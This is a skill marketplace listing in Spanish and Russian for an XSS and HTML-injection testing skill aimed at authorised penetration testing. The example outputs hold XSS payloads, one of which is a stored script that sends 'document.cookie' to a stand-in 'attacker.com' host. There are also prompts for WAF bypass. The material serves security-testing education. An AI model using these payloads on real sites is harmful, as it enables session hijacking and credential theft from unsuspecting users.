xss-html-injection
Тестирование на уязвимости XSS и HTML-инъекций
Веб-приложения часто содержат уязвимости межсайтового скриптинга и HTML-инъекций, которые злоумышленники используют для кражи сессий и учетных данных. Этот навык предоставляет систематическую методологию обнаружения, эксплуатации и проверки уязвимостей клиентских инъекций в авторизованных оценках безопасности.
Descargar el ZIP de la skill
Subir en Claude
Ve a Configuración → Capacidades → Skills → Subir skill
Activa y empieza a usar
Pruébalo
Usando "xss-html-injection". Тестирование параметра поиска на отраженный XSS
Resultado esperado:
- Уязвимость найдена: Отраженный XSS в параметре /search?q=
- Серьезность: Средняя
- Пейлоад: <img src=x onerror=alert(document.domain)>
- Контекст: HTML body - не кодированное отражение
- Рекомендация: Реализовать выходное кодирование для всех пользовательских данных
Usando "xss-html-injection". Тестирование поля bio в профиле пользователя на хранимый XSS
Resultado esperado:
- Уязвимость найдена: Хранимый XSS в bio профиля пользователя
- Серьезность: Высокая (сохраняется, влияет на всех пользователей)
- Пейлоад: <script>fetch('https://attacker.com/log?c='+document.cookie)</script>
- Воздействие: Перехват сессии всех пользователей, просматривающих профиль
- Рекомендация: Реализовать строгую валидацию ввода и выходное кодирование
Auditoría de seguridad
SeguroThis is a legitimate security testing skill for XSS and HTML injection vulnerability assessment. All 121 static findings are FALSE POSITIVES - they represent educational examples of vulnerable code patterns (eval, innerHTML, document.write) and demonstration payloads using example URLs (attacker.com). The skill teaches security professionals how to identify and test for client-side injection vulnerabilities in authorized penetration tests.
Problemas de riesgo bajo (1)
Factores de riesgo
⚡ Contiene scripts (7)
⚙️ Comandos externos (64)
🌐 Acceso a red (27)
📁 Acceso al sistema de archivos (1)
Patrones detectados
Puntuación de calidad
Lo que puedes crear
Консультант по безопасности тестирует веб-приложения
Проводить авторизованные пентесты для выявления уязвимостей XSS в клиентских веб-приложениях и предоставлять рекомендации по устранению.
Разработчик проверяет обработку ввода
Тестировать пользовательские веб-приложения во время разработки для проверки правильной очистки ввода и реализованного выходного кодирования.
QA-инженер выполняет регрессионное тестирование безопасности
Включать тестирование XSS и HTML-инъекций в наборы регрессионных тестов безопасности для обнаружения уязвимостей до развертывания в production.
Prueba estos prompts
Использовать навык XSS HTML-инъекции для тестирования формы входа на https://example.com на наличие отраженных уязвимостей XSS. Определить все поля ввода и протестировать базовые XSS-пейлоады.
Использовать навык XSS HTML-инъекции для тестирования раздела комментариев на наличие хранимого XSS. Создать тестовые пейлоады, которые сохраняются и выполняются при просмотре другими пользователями.
Использовать навык XSS HTML-инъекции для анализа JavaScript на https://example.com/dashboard на наличие DOM-based XSS. Проверить обработку location.hash и location.search.
Использовать навык XSS HTML-инъекции для тестирования WAF на https://example.com на блокировку распространенных XSS-пейлоадов. Попробовать обход с помощью HTML-кодирования, Unicode-кодирования и вариаций тегов.
Mejores prácticas
- Всегда получайте письменное разрешение перед тестированием любого целевого приложения
- Используйте контролируемые демонстрационные пейлоады, которые не сохраняются и не распространяются на непреднамеренных пользователей
- Немедленно сообщайте о критических уязвимостях через надлежащие каналы реагирования на инциденты
Evitar
- Тестирование production-систем без явного письменного разрешения
- Использование обнаруженных уязвимостей для несанкционированного доступа или эксфильтрации данных
- Развертывание пейлоадов, которые могут вызвать отказ в обслуживании или повреждение системы
Preguntas frecuentes
Выполняет ли этот навык реальные атаки на целевые веб-сайты?
Может ли этот навык тестировать все типы XSS?
Какое разрешение требуется перед использованием этого навыка?
Работает ли этот навык против приложений с CSP?
Можно ли всегда украсть сессионные cookies через XSS?
Что делать, если найдена критическая уязвимость XSS?
Detalles del desarrollador
Autor
sickn33Licencia
MIT
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/xss-html-injectionRef.
main
Estructura de archivos
📄 SKILL.md